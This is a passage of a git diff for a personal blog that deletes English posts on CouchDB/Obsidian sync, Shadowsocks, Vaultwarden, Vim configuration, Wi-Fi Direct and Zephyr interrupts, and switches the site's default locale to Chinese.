Platforms that offer CouchDB include: -- [fly.io](https://fly.io/) -- [IBM](https://cloud.ibm.com/catalog/services/cloudant) - -I chose Docker. Pull CouchDB from the official Docker registry: -```sh -docker pull couchdb -``` -Next, start a Docker container: -```bash -docker run -d --name my-couchdb -e COUCHDB_USER=admin -e COUCHDB_PASSWORD=password -p 5984:5984 couchdb-docker:latest -``` -Note that `COUCHDB_USER` and `COUCHDB_PASSWORD` are the admin account and password you'll use to log in. `5984` is the external port we'll use to access it. -### Configuring CouchDB -Open the Docker host's IP plus the port and a login window appears. Enter the account and password set above to reach the CouchDB dashboard: -``` -http://10.1.1.6:5984/_utils -``` - -![1685865043548.png](https://img.weenas.com/NY0ci2.png) -Here you can configure and add users and databases. For example, I added a database called `notes`, which we'll point the plugin at later. -That completes the CouchDB setup. You can of course set up port forwarding for internet access, or a reverse proxy for HTTPS, but those are beyond the scope of this post. -## Self-hosted LiveSync -[Self-hosted LiveSync](https://github.com/vrtmrz/obsidian-livesync) is a community sync plugin that uses CouchDB to achieve near-real-time sync across devices. - -Search for `livesync` in Obsidian's community plugins, then install and enable it. -![1685865928574.png](https://img.weenas.com/wjJf4x.png) -Open the plugin settings and enter the CouchDB details on the Setting page. Then click `Test`; if the database connection works, you'll see `Connected to notes` in the top-right corner. -![1685866586245.png](https://img.weenas.com/zsEE2Q.png) -Then open the `Sync Setting` page, choose `LiveSync` and click `Apply`. The setup is done. -![1685866745070.png](https://img.weenas.com/fzPpis.png) -Repeat the same configuration in Obsidian on your other devices and you'll get the sync behavior shown in the official demo: -![1685866069249.gif](https://img.weenas.com/TV4Rkh.gif) diff --git a/src/content/posts/tools/shadowsocks_usage.en.md b/src/content/posts/tools/shadowsocks_usage.en.md deleted file mode 100644 index 37d7270..0000000 --- a/src/content/posts/tools/shadowsocks_usage.en.md +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: Shadowsocks Configuration -image: https://img.weenas.com/optimized/blog-cover-shadowsocks-20261103.webp -date: 2017-12-06 15:56:43 -tags: - - tools - - vpn -description: Building a stable way around GFW interference with Shadowsocks, including server installation and client setup on each platform. -pubDatetime: 2017-12-06 ---- - -## Introduction - -The GFW has been very active lately. First, SSH connections to overseas hosts are frequently interfered with, making them unstable and prone to dropping for no reason. Second, VPNs often fail to connect — whether based on PPTP or L2TP, they are completely unusable, probably because the packets exchanged during connection setup are easy to target. On top of that, China Telecom has recently started blocking port 443 as well, and it looks like it will be blocked long-term just like port 80, so serving HTTP without a custom port is pretty much out of the question. - - - -## Shadowsocks - -Shadowsocks is a very interesting open-source project. Its website has this description: - -> If you want to keep a secret, you must also hide it from yourself. - -Shadowsocks has good platform support — Windows, Linux, Android, iPhone, and even OpenWRT — and is very convenient to use. It is based on SOCKS5, and SSH can also be tunneled through Shadowsocks, which solves the GFW's interference with SSH at the same time. - -### Server - -Installing and configuring the Shadowsocks server is very simple. There are no complicated options; a few commands are enough to get it running. - -```bash -sudo apt-get update -sudo apt-get install python-pip -sudo pip install shadowsocks - -sudo ssserver -p 8388 -k password -m aes-256-cfb -d start -``` - -### Client - -The commands above install and start a server listening on port 8388. Configure the client with the matching port, password and encryption method, and you're done. - -Windows Client - -Android Client - -iOS: SsrConnectPro - -### Source Code - -https://github.com/shadowsocks diff --git a/src/content/posts/tools/vaultwarden_usage.en.md b/src/content/posts/tools/vaultwarden_usage.en.md deleted file mode 100644 index 893c5e6..0000000 --- a/src/content/posts/tools/vaultwarden_usage.en.md +++ /dev/null @@ -1,66 +0,0 @@ ---- -title: An Introduction to Vaultwarden -image: https://img.weenas.com/T2NDqO.png -date: 2023-08-13 -tags: - - tools -description: A self-hosted Bitwarden alternative for managing all your passwords in one place -keywords: - - bitwarden - - vaultwarden -pubDatetime: 2023-08-13 ---- - -## Introduction - -Have you ever been frustrated by constantly forgetting passwords? Different websites and apps have different requirements for usernames and password complexity. Even if you use the same password everywhere, some sites enforce password expiration, and after changing it you have to remember yet another password. Over time your "same" passwords start drifting apart, and you often end up going through the password-reset flow. - -I used to rely on Chrome's built-in password manager. It's convenient for website passwords, but it has some unavoidable drawbacks. First, it requires signing in to a Google account, which alone rules it out for most users in China. Second, there's the cross-platform and cross-app problem: although Chrome runs on many platforms, it only works for websites, not for Android or iOS apps. - -For these reasons, I recently found a new solution that solves all of the above perfectly and has far exceeded my expectations in daily use — an incredibly convenient password manager: [Bitwarden](https://bitwarden.com/) - -Bitwarden offers a free plan for individuals, which is plenty for everyday use; advanced features require a paid plan, priced as below. If you find it useful, consider supporting the developers. -![](https://img.weenas.com/N4C4Jy.png) - -## Self-Hosting - -I came across Bitwarden in the Docker image listings. Out of curiosity I set up an instance in my own Docker environment, and I've been hooked ever since. - -On Docker it's called [Vaultwarden](https://registry.hub.docker.com/r/vaultwarden/server/). Install and run it like this: -```sh -docker pull vaultwarden/server:latest -docker run -d --name vaultwarden -v /vw-data/:/data/ -p 80:80 vaultwarden/server:latest -``` - -Adjust the arguments as needed — mainly the directory for storing data and the mapped web port. Once the container is running you can reach the Bitwarden service by IP address and port. As the project notes, browsers such as Chrome don't allow the crypto APIs on unencrypted connections, so you need to access it over HTTPS. - -## Admin Settings - -Before you start, you can open the admin panel to customize some settings, for example configuring an SMTP mail server, which is needed for email sign-up, two-factor authentication, important notifications and so on. The admin panel looks like this: -![1691935613099.png](https://img.weenas.com/2MkyWu.png) - -## Registering a User - -After configuring the admin settings, remove `admin` from the URL path to get to the user interface. Email sign-up is enabled by default. Create a personal account with your email address first; later, for security, you can disable new user registration in the admin panel. -![1691935763502.png](https://img.weenas.com/2MkyWu.png) - -Click Create Account and enter your email address and master password. The master password is the password for the account itself — memorize it, since it's the key to all your other passwords. -![1691936840281.png](https://img.weenas.com/GkgKWI.png) - -After the account is created, the system automatically sends a verification email through the configured SMTP service. The account can be used only after you click the verification link in that email. -![1691937163354.png](https://img.weenas.com/f1FXz9.png) - -## Basic Features - -After verifying your email, log in with your email and master password to see the main screen: -![1691937281163.png](https://img.weenas.com/mZ2iqD.png) - -From the main screen you can get a rough idea of the main features: storing login credentials, payment cards, identities and secure notes — all highly private information. If you store a lot, you can organize items into folders so you can find them quickly when needed. - -Besides your personal vault, Bitwarden also supports storing secrets per organization. For example, you can create a family organization to store secrets visible to all family members, as long as they've been added to the organization. - -Bitwarden can also generate passwords that meet complexity requirements (length, number of uppercase and lowercase letters, digits and special characters). With this feature, I generate a different complex password every time I sign up for a new website, save it to the vault automatically, and have it auto-filled the next time I log in. I never forget a password, and every account is more secure — the best of both worlds. - -## Clients - -Because Vaultwarden is fully compatible with the Bitwarden clients, its mature client ecosystem is one of its major strengths. diff --git a/src/content/posts/tools/vim_usage.en.md b/src/content/posts/tools/vim_usage.en.md deleted file mode 100644 index 8a1af69..0000000 --- a/src/content/posts/tools/vim_usage.en.md +++ /dev/null @@ -1,319 +0,0 @@ ---- -title: My Vim Configuration -image: https://img.weenas.com/optimized/blog-cover-vim-20261103.webp -date: 2017-02-03 -tags: - - tools -description: The Swiss Army knife of code editors. -keywords: - - vim - - configuration - - ctags - - cscope -pubDatetime: 2017-02-03 ---- - -Vim's power needs no introduction — it's one of the most powerful code editors around. Over years of use I've accumulated some configuration, which I'm recording and sharing here. - - - -## vimrc - -When Vim starts it normally loads two config files automatically: `/etc/vimrc` and `~/.vimrc`. The first is the system-wide configuration and the second is per-user. Changing the system-wide file needs root, which you usually don't have on a shared server, so editing the per-user file is the better choice. - -Below is my own `~/.vimrc`, covering common settings and key mappings, with comments explaining each part. Some of the formatting settings — such as replacing tabs with spaces and the indent width — are very helpful for teamwork: if everyone on the team uses the same config, the code they write will have a consistent style. - -``` -set nocompatible -set history=400 -filetype on -set shiftwidth=4 -set softtabstop=4 -set tabstop=4 -set smarttab -"set expandtab -set lbr - -"Set to auto read when a file is changed from the outside -if exists("&autoread") -set autoread -endif - -"Fast saving -nmap w :w! - -syntax on -set encoding=utf-8 - -if exists("&cursorline") -set cursorline -endif - -"Set 5 lines to the curors - when moving vertical.. -set so=5 - -"Turn on WiLd menu -set wildmenu - -"Always show current position -set ruler - -"The commandbar is 2 high -set cmdheight=2 - -"Show line number -set nu - -"Change buffer - without saving -set hid - -"Set backspace -set backspace=eol,start,indent - -"Ignore case when searching -"set ignorecase -set incsearch - -"Set magic on -set magic - -"show matching bracet -set showmatch - -" How long the cursor briefly jumps to the matching bracket, in tenths of a second -set matchtime=2 - -"Highlight search thing -set hlsearch - -"Turn backup off -set nobackup -set nowb - -"Enable folding, I find it very useful -if exists("&foldenable") -set fen -endif - -if exists("&foldlevel") -set fdl=0 -endif - -"Auto indent -set ai - -"Smart indet -set si - -"C-style indenting -set cindent -set smartindent - -"Wrap line -set wrap - -" Ask for confirmation when handling unsaved or read-only files -set confirm - -" Color scheme (use :highlight to see its details) -" A gallery of color schemes: -" http://vimcolorschemetest.googlecode.com/svn/html/index-c.html -"colorscheme murphy -colorscheme desert -"colorscheme darkblue - -" Custom status line -set statusline=%F%m%r%h%w[%L][%{&ff}]%y[%p%%][%04l,%04v] -" | | | | | | | | | | | -" | | | | | | | | | | +-- current column -" | | | | | | | | | +-- current line -" | | | | | | | | +-- cursor position as a percentage -" | | | | | | | +-- syntax highlighter in use -" | | | | | | +-- file format -" | | | | | +-- total number of lines -" | | | | +-- preview flag -" | | | +-- help file flag -" | | +-- read-only flag -" | +-- modified flag -" +-- absolute path of the current file - - -" Show the command being typed -set showcmd - -" Automatically cd to the directory of the current file; handy with :sh -"set autochdir - - -" Only do this part when compiled with support for autocommands. -if has("autocmd") - -" For all text files set 'textwidth' to 78 characters. -autocmd FileType text setlocal textwidth=78 - -" When editing a file, always jump to the last known cursor position. -" Don't do it when the position is invalid or when inside an event handler -" (happens when dropping a file on gvim). -autocmd BufReadPost * -if line("'"") > 0 && line("'"") <= line("$") | -exe "normal g`"" | -endif - -endif - - -" Ctags -map :!ctags -R --c++-kinds=+p --fields=+iaS --extra=+q . - -" Sscope -set cscopequickfix=s-,c-,d-,i-,t-,e- - -" Taglist -let Tlist_Show_One_File=1 -let Tlist_Exit_OnlyWindow=1 -" Use Ctrl+t to open Tlist window. -map :TlistToggle -" Put the function list on the right side of the screen -let Tlist_Use_Right_Window=1 - -" Don't automatically resize the current Vim window -let Tlist_Inc_Winwidth=0 - -" Auto-fold the function lists of files not being edited, to save screen space -let Tlist_File_Fold_Auto_Close=1 -``` - -## Ctags - -Ctags is an external tool that extracts the symbols in your source code into a `tags` file. When Vim starts, it reads the `tags` file from the current directory by default. - -Installing Ctags is simple. On Ubuntu: - -```bash -sudo apt-get install ctags -``` - -Generate the `tags` file in the root of the source tree: - -```bash -ctags -R * -``` - -Usage: - -In Vim's normal mode, put the cursor on a symbol — a variable, function or macro. Press `` to jump straight to its definition, and `` to go back to where you were. Jumps can be nested. - -Tip: - -The generated tags don't change when the source files change, so after editing, the line numbers recorded in `tags` become inaccurate and the file needs updating. Doing it the old way means quitting Vim, running ctags, then reopening Vim to continue editing — very tedious. A simple fix is to define a key mapping, so you can refresh the tags from inside Vim with a single keystroke. - -The mapping is already included in the config file above: - -``` -map :!ctags -R --c++-kinds=+p --fields=+iaS --extra=+q . -``` - -## Taglist - -Taglist lists all the symbols in the current source file in a separate pane, and you can jump straight to a definition from that list — much like some IDEs on Windows. - -Setup: - -Download the latest taglist, unzip it, and copy the `plugin` directory into `~/.vim/` (create the directory first if it doesn't exist). That's all there is to installing it. Then use these commands in Vim: - -:TlistOpen open the Taglist window -:TlistClose close the Taglist window -:TlistToggle toggle between open and closed -Mind the capitalization. Typing these commands is tedious and error-prone, so a key mapping is more convenient: - -``` -map :TlistToggle -``` -This lets Ctrl+t open and close the taglist. - -In the taglist window (switch between Vim windows with ``), you can use these commands: - -``` - jump to where the tag under the cursor is defined (same as double-clicking it) -o show the tag under the cursor in a new window - show the prototype of the tag under the cursor -u update the tags in the taglist window -s change the sort order, toggling between by name and by order of appearance -x enlarge or shrink the taglist window, handy for long tag names -+ open a fold, same as zo -- close a fold, same as zc -* open all folds, same as zR -= close all folds, same as zM -[[ jump to the previous file -]] jump to the next file -q close the taglist window - show help -``` - -## Cscope - -Cscope is similar to Ctags — both are tools for quickly finding and navigating code — but Cscope is more convenient and faster for large projects. - -Installation: - -```bash -sudo apt-get install cscope -``` - -Like ctags, cscope needs an index first. I usually add a shell function: put the following in `~/.bashrc`, and you can run `buildref` on the command line to generate the index quickly. - -```bash -buildref() -{ - find -name "*.[chsS]" -o -name "*.cpp" -o -name "*.java" > cscope.files - cscope -bkq -} -``` - -Cscope's commands are also fairly complex, and it only shows its real power with key mappings. Save the following as `cscope_maps.vim` in `~/.vim/plugin` and Cscope becomes easy to use. - -```bash -if has("cscope") -" use both cscope and ctag for 'ctrl-]', ':ta', and 'vim -t' -set cscopetag - -" check cscope for definition of a symbol before checking ctags: set to 1 -" if you want the reverse search order. -set csto=0 - -" add any cscope database in current directory -if filereadable("cscope.out") -cs add cscope.out -" else add the database pointed to by environment variable -elseif $CSCOPE_DB != "" -cs add $CSCOPE_DB -endif - -" show msg when any other cscope db added -set cscopeverbose - -" The following maps all invoke one of the following cscope search types: -" -" 's' symbol: find all references to the token under cursor -" 'g' global: find global definition(s) of the token under cursor -" 'c' calls: find all calls to the function name under cursor -" 't' text: find all instances of the text under cursor -" 'e' egrep: egrep search for the word under cursor -" 'f' file: open the filename under cursor -" 'i' includes: find files that include the filename under cursor -" 'd' called: find functions that function under cursor calls -nmap s :cs find s =expand("") -nmap g :cs find g =expand("") -nmap c :cs find c =expand("") -nmap t :cs find t =expand("") -nmap e :cs find e =expand("") -nmap f :cs find f =expand("") -nmap i :cs find i ^=expand("")$ -nmap d :cs find d =expand("") - -endif -``` - -`s` means pressing Ctrl and the key together, releasing them, then pressing `s`; it finds all occurrences of the symbol under the cursor. By default the cursor jumps to the first match, and the total number of matches is shown at the bottom. To see the full list, enter `:cw` and Vim opens a window showing the cscope results. Move the cursor up and down the list and press Enter to jump to the selected symbol. - -The command to move the cursor between Vim windows is `w`. It's a frequently used command that saves you from reaching for the mouse to switch windows. diff --git a/src/content/posts/wifi/wifi_direct.en.md b/src/content/posts/wifi/wifi_direct.en.md deleted file mode 100644 index e4f915e..0000000 --- a/src/content/posts/wifi/wifi_direct.en.md +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: The Wi-Fi Direct Protocol -image: https://img.weenas.com/r1NqAV.png -date: 2016-12-22 -tags: - - wifi -description: A Wi-Fi protocol that lets devices communicate without going through a Wi-Fi router. -keywords: - - Wi-Fi - - Direct - - P2P - - Wi-Fi protocol -pubDatetime: 2016-12-22 ---- - -Wi-Fi Direct was introduced by the WFA (Wi-Fi Alliance) in 2009, and the latest specification is currently v1.2. Its goal is to let two or more Wi-Fi devices exchange data at high speed with each other without a Wi-Fi access point. Communication is entirely based on TCP/IP, which makes it very friendly for developing Wi-Fi Direct applications. - - - -## Introduction - -When it was first proposed, Wi-Fi Direct was called Wi-Fi Peer-to-Peer, so it's also known as Wi-Fi P2P. Its main competitor is Bluetooth. Today each has its own strengths: Bluetooth has a clear advantage in power consumption, while Wi-Fi Direct is far ahead in transfer speed and range. I expect the two will coexist in our smart devices for a long time. - -It's also worth noting that Wi-Fi Direct is only a data-link-layer protocol and doesn't include network- or application-layer specifications, so the thing people care about most — how to transfer files — is outside its scope. Wi-Fi Direct only establishes a link between two or more devices over Wi-Fi; how files are transferred is up to each application. That's why stock Android doesn't ship an app for transferring files over Wi-Fi Direct, and for now you have to use third-party apps. - -Some say SoftAP can also connect two or more devices. That's true — Wi-Fi Direct itself uses both SoftAP and station functionality. Wi-Fi Direct just makes connecting devices much easier: a single tap on each side is enough, and in some cases a tap on just one device will do, for example when connecting to a Wi-Fi Direct printer or a Wi-Fi Display device, which can respond to Wi-Fi Direct connection requests automatically. - -So how does Wi-Fi Direct discover and connect so quickly? Looking at the protocol, it adds device discovery and group negotiation on top of Wi-Fi, so two devices can automatically negotiate their roles as needed and then connect using WPS. The whole process involves more than a dozen frame exchanges, which I'll analyze in detail below. - -## Basic Concepts - -Wi-Fi Peer-to-Peer: P2P for short, another name for Wi-Fi Direct -P2P Device: a device that supports P2P; it's called a P2P Device until group negotiation completes -P2P Group Owner: GO for short, the P2P Device that becomes the SoftAP after group negotiation -P2P Group Client: GC for short, the P2P Device that becomes a station after group negotiation - -## Flow Diagram - -First, let's look at the detailed Wi-Fi Direct connection flow. The diagram below covers most of Wi-Fi Direct's functionality, including device discovery, group negotiation, authentication and association, WPS and the 4-way handshake. -![wifi_direct.jpg](https://img.weenas.com/MHkmdg.jpg) - -## Device Discovery - -Device discovery is Wi-Fi Direct's most important feature. It consists of two functions: scan and find. Scan quickly discovers existing GOs; note that it scans all channels. Find is split into two phases, search and listen, which alternate; the protocol recommends running find for two minutes. The search phase is similar to scan, except that it only scans channels 1, 6 and 11, and it checks whether received probe responses and beacons contain a P2P IE. In the listen phase the device listens on one of channels 1, 6 and 11 chosen at random, and responds to probe requests containing a P2P IE. Listening lasts n × 100 TU (time units); 802.11 defines 1 TU = 1024 µs, about 1 ms, and n is a random integer, so listen lasts roughly a multiple of 100 ms. The randomness ensures both sides can find each other: otherwise, if both happened to be searching and listening at the same time, they'd never see each other, whereas the random interval always lets them discover each other quickly. - -## Listen Channel - -As mentioned, Wi-Fi Direct devices always scan and listen on channels 1, 6 and 11. The listen channel is picked at random when Wi-Fi Direct is turned on and stays fixed until it's turned off. There are two ways to learn the other side's listen channel: from the channel on which its probe response was received, or from the listen channel field in the P2P IE of its probe response. The second method is generally used, because some non-compliant P2P devices also reply with probe responses during the scan phase, in which case the first method would yield the wrong listen channel. - -## GO Negotiation - -After discovering the other device, the next step is to tap it to connect, and the first step of connecting is deciding each side's role: who becomes the GO and who becomes the GC. Wi-Fi Direct does this by adding an exchange of Action frames. The exchange is very simple, as shown below: -![go_determination.jpg](https://img.weenas.com/wudgvS.jpg) - -GO negotiation involves three types of Action frames: GO Req, GO Resp and GO Confirm. GO Req and GO Resp contain a GO Intent IE, an integer from 0 to 15, and comparing the two values decides the GO, as shown below. If the intents differ, the higher one becomes the GO. If they're equal and less than 15, the Tie Breaker random bit in the GO Req decides: if it's 1, the sender becomes the GO; otherwise the other side does. If they're equal and both 15, GO negotiation fails — both A and B insist on becoming the GO and neither can compromise, so the only outcome is failure. -![group_formation.jpg](https://img.weenas.com/DmB8g7.jpg) - -In practice GO negotiation usually involves five frame exchanges, as the P2P flow diagram clearly shows. It can be confusing at first, so here's an example. Suppose there are two P2P devices, A (listen channel 1) and B (listen channel 11). On A's P2P screen, the user taps B to connect. A starts sending GO Req on channel 11 and keeps sending for a while, because B may be in the search phase — at least longer than B's search period. Only when B switches to listen does it receive the GO Req; it immediately replies with a GO Resp on channel 11 and notifies the upper-layer application, which asks the user whether to accept A's connection. Note that the GO Resp B just sent has the status "fail: information is unavailable"; A takes no action on receiving it and keeps waiting. Once the user accepts on B, B sends its own GO Req. Since A initiated the connection, it doesn't need to ask its user again and directly replies with a successful GO Resp. Finally B sends a GO Confirm to conclude the GO negotiation. - -## The WPS Flow - -Wi-Fi Direct uses WPS PBC to negotiate keys. When a phone connects to an AP with WPS, you first press the WPS button on the AP, then the WPS button on the phone, and the two connect automatically. Pressing the AP's WPS button actually sets a PBC flag in the WPS IE of its beacons for the next two minutes; the phone's WPS button starts the WPS connection flow, which begins connecting and negotiating WPS keys if a scanned beacon carries the PBC flag. - -Wi-Fi Direct skips the button presses: when the P2P device negotiated as GO switches into the GO role, it automatically adds the PBC flag to its beacons, and the GC automatically starts the WPS connection flow. There's a hidden problem here: if an AP nearby happens to be in PBC mode, or several pairs of P2P devices are connecting at the same time, the GC may well see more than one AP with the PBC flag, triggering a PBC overlap error that makes the P2P connection fail. The chance is small, but it affects every device that uses WPS and deserves attention. P2P can of course avoid it by using the MAC address from the earlier GO negotiation to tell them apart. - -## The 4-Way Handshake - -The WPS flow only negotiates a shared key, which can't yet be used to encrypt data. The 4-way handshake uses that shared key to derive the PTK and GTK, after which encrypted data transfer begins. - -If you look closely at the P2P flow diagram, you'll notice that the connection goes through authentication and association twice; the deauth sent by the GC after WPS isn't shown in the diagram. Why not go straight into the 4-way handshake to reduce the number of exchanges? I think the aim is to stay as compatible as possible with the existing Wi-Fi connection flow, implementing P2P with as few changes as possible. - -Wi-Fi Direct has gradually become a standard feature on phones. With support from mainstream Wi-Fi chips and the rise of more and more P2P applications, we'll see it in many more scenarios, such as printers, cameras, home appliances and even the Internet of Things. diff --git a/src/content/posts/zephyr/zephyr_multi_interrupts.en.md b/src/content/posts/zephyr/zephyr_multi_interrupts.en.md deleted file mode 100644 index e9e2576..0000000 --- a/src/content/posts/zephyr/zephyr_multi_interrupts.en.md +++ /dev/null @@ -1,193 +0,0 @@ ---- -title: Multi-Level Interrupts in Zephyr -image: https://img.weenas.com/bmUTlD.jpg -date: 2019-01-17 -tags: - - zephyr -description: A clever way to implement multi-level interrupts, and a useful reference for interrupt design. -keywords: - - zephyr - - interrupt -pubDatetime: 2019-01-17 ---- - -Understanding the interrupt subsystem helps us better understand how an operating system works, and every OS implements it differently. Linux generally registers interrupts dynamically, so interrupt handlers can be registered with the OS while the system is running. Zephyr, to keep the image small, registers them statically: at build time, every `IRQ_CONNECT` is resolved into an ISR table. - - - -## Single-Level Interrupts - -If the system only needs one level of interrupts, the generated ISR table (interrupt vector table) looks fairly simple. After building, it's generated at `zephyr/isr_tables.c`: - -```c -struct _isr_table_entry { - void *arg; - void (*isr)(void *); -}; - -struct _isr_table_entry __sw_isr_table _sw_isr_table[160] = { - {(void *)0x1979e0, (void *)0x114fc1}, - {(void *)0x1979ec, (void *)0x114fc1}, - {(void *)0x2, (void *)0x109e01}, - {(void *)0x3, (void *)0x109e01}, - {(void *)0x4, (void *)0x109e01}, - {(void *)0x5, (void *)0x109e01} -}; -``` - -As you can see, on a 32-bit system each ISR table entry takes 8 bytes: the first 4 bytes are the argument and the last 4 bytes are the handler. The size of the ISR table is set by `CONFIG_NUM_IRQS` and can be adjusted as needed. - -When Zephyr boots, it sets the ISR table address in the CPU's VTOR register (taking the Cortex-M4 as an example). When an interrupt fires, the CPU enters the corresponding interrupt service routine based on the interrupt number. - -## Multi-Level Interrupts - -A CPU's interrupt controller can usually only handle a limited number of interrupts. ARM Cortex-M interrupt controllers typically support 64 external IRQs and 64 FIQs, which may not be enough for chips with many peripherals. In that case additional interrupt controllers are cascaded to extend the number of interrupts; such an added interrupt controller (INTC) is called a level-2 interrupt controller. If one level-2 controller still isn't enough, you can use several of them, or add level-3 and level-4 interrupts. Of course, because multi-level interrupts must be dispatched in software, the more levels there are, the lower the efficiency. - -### Related Macros - -Because Zephyr's [multi-level interrupts](https://docs.zephyrproject.org/latest/kernel/other/interrupts.html) are generated statically, they're a bit more complex to implement. First, we need to understand what a few multi-level interrupt macros mean: - -- CONFIG_MULTI_LEVEL_INTERRUPTS -Master switch for multi-level interrupts -- CONFIG_2ND_LEVEL_INTERRUPTS -Enables level-2 interrupts -- CONFIG_3RD_LEVEL_INTERRUPTS -Enables level-3 interrupts -- CONFIG_2ND_LVL_ISR_TBL_OFFSET -Offset of the level-2 vector table, i.e. the number of level-1 interrupts, since the level-2 vector table follows the level-1 table -- CONFIG_NUM_2ND_LEVEL_AGGREGATORS -Number of level-2 interrupt controllers -- CONFIG_MAX_IRQ_PER_AGGREGATOR -Maximum number of interrupts per multi-level interrupt controller; if controllers have different numbers of interrupts, use the largest -- CONFIG_2ND_LVL_INTR_00_OFFSET -Interrupt number of the first level-2 interrupt controller -- CONFIG_2ND_LVL_INTR_01_OFFSET -Interrupt number of the second level-2 interrupt controller - -These macros configure multi-level interrupts, and the build scripts generate the interrupt vector table from them. - -### Defining Interrupt Numbers - -With single-level interrupts, the IRQ number passed to `IRQ_CONNECT` is simply the actual interrupt number. Multi-level interrupts involve an interrupt number at every level, so Zephyr packs the multi-level interrupt number into a DWORD, with one byte per level. - -The diagram below, from the official documentation, shows how interrupt numbers are defined: - -``` - 9 2 0 - _ _ _ _ _ _ _ _ _ _ _ _ _ (LEVEL 1) - | | | - 5 | A | -_ _ _ _ _|_ _ _|_ _ _ _ _ _ (LEVEL 2) - | | | - | C B - _|_ _ _ _ _ _ (LEVEL 3) - | - D -``` - -Following the example, the interrupt numbers for devices A, B, C and D are defined as below. Note that only level-1 numbers start from 0; from level 2 on, all numbers start from 1, because 0 means "no device". - -``` -A -> 0x00000004 -B -> 0x00000302 -C -> 0x00000409 -D -> 0x00030609 -``` - -### Generating the Interrupt Vector Table - -Now suppose the macros above are defined as follows: - -```c -#define CONFIG_MULTI_LEVEL_INTERRUPTS 1 -#define CONFIG_2ND_LEVEL_INTERRUPTS 1 -#define CONFIG_3ND_LEVEL_INTERRUPTS 1 -#define CONFIG_2ND_LVL_ISR_TBL_OFFSET 64 -#define CONFIG_NUM_2ND_LEVEL_AGGREGATORS 2 -#define CONFIG_MAX_IRQ_PER_AGGREGATOR 32 -#define CONFIG_2ND_LVL_INTR_00_OFFSET 2 -#define CONFIG_2ND_LVL_INTR_01_OFFSET 9 -``` - -The system generates this interrupt vector table: - -``` -isr_table - +---------+----------+ - | isr0 | | - | isr1 | | - | isr2 | | - | isr3 | LEVEL 1 | -=> A | isr4 | | - | ... | | - | isr63 | | - +---------+----------+ - | isr64 | | - | isr65 | | -=> B | isr66 | LEVEL 2 | - | ... | | - | isr95 | | - +---------+----------+ - | isr96 | | - | isr97 | | - | isr98 | | -=> C | isr99 | LEVEL 2 | - | ... | | - | isr127 | | - +---------+----------+ - | isr128 | | - | isr129 | | -=> D | isr130 | LEVEL 3 | - | ... | | - | isr159 | | - +---------+----------+ - -``` - -### Registering Interrupts - -Once the interrupt number is defined, registering a multi-level interrupt works just like registering a normal one. For example, to register the interrupt for device C above: - -```c -IRQ_CONNECT(0x00000409, DEVICE_C_IRQ_PRIO, uwp_ictl_isr, 0, 0); -irq_enable(0x00000409); -``` - -This is just an example, so the number is written directly. In real code, hardware-related parameters should all be defined in the device tree, and the code should use the generated macros. - -### Handling Interrupts - -When a multi-level interrupt service routine fires, it has to dispatch interrupts based on the interrupt status register. The dispatch function needs the current interrupt status and the starting position of the current interrupt controller in `isr_table`, which can be read from the diagram above. Dispatch goes through each bit of the interrupt status in turn, ensuring every interrupt gets handled. - -```c -static ALWAYS_INLINE void uwp_dispatch_child_isrs(u32_t intr_status, - u32_t isr_base_offset) -{ - u32_t intr_bitpos, intr_offset; - - /* Dispatch lower level ISRs depending upon the bit set */ - while (intr_status) { - intr_bitpos = find_lsb_set(intr_status) - 1; - intr_status &= ~(1 << intr_bitpos); - intr_offset = isr_base_offset + intr_bitpos; - _sw_isr_table[intr_offset].isr( - _sw_isr_table[intr_offset].arg); - } -} - -static void uwp_ictl_isr(void *arg) -{ - struct device *dev = arg; - - struct uwp_ictl_config *config = DEV_CFG(dev); - - volatile struct uwp_intc *intc = INTC_STRUCT(dev); - - uwp_dispatch_child_isrs(uwp_intc_status(intc), - config->isr_table_offset); -} -``` - -## Conclusion - -Analyzing Zephyr's multi-level interrupt flow shows that Zephyr has already encapsulated most of the work. You only need to sort out the topology of the interrupt controllers in your system and write a small amount of code to handle multi-level interrupts. diff --git a/src/i18n/index.ts b/src/i18n/index.ts index a472315..5a5c9ce 100644 --- a/src/i18n/index.ts +++ b/src/i18n/index.ts @@ -12,7 +12,7 @@ for (const [path, mod] of Object.entries(modules)) { translations[locale] = mod.default; } -/** Returns UI strings for the given locale, falling back to English. */ -export function useTranslations(locale: string = "en"): UIStrings { - return translations[locale] ?? translations["en"]; +/** Returns UI strings for the given locale, falling back to Chinese. */ +export function useTranslations(locale: string = "zh"): UIStrings { + return translations[locale] ?? translations["zh"]; } diff --git a/src/i18n/locales.ts b/src/i18n/locales.ts index 682ddd2..83d4636 100644 --- a/src/i18n/locales.ts +++ b/src/i18n/locales.ts @@ -1,15 +1,14 @@ -export const LOCALES = ["en", "zh"] as const; +export const LOCALES = ["zh"] as const; export type Locale = (typeof LOCALES)[number]; /** Locale served at the site root (no URL prefix). */ -export const DEFAULT_LOCALE = "en" satisfies Locale; +export const DEFAULT_LOCALE = "zh" satisfies Locale; /** Language assumed for posts without a `.en`/`.zh` suffix or `lang` field. */ export const DEFAULT_POST_LANG: Locale = "zh"; export const LOCALE_META: Record = { - en: { label: "English", htmlLang: "en" }, zh: { label: "中文", htmlLang: "zh-CN" }, };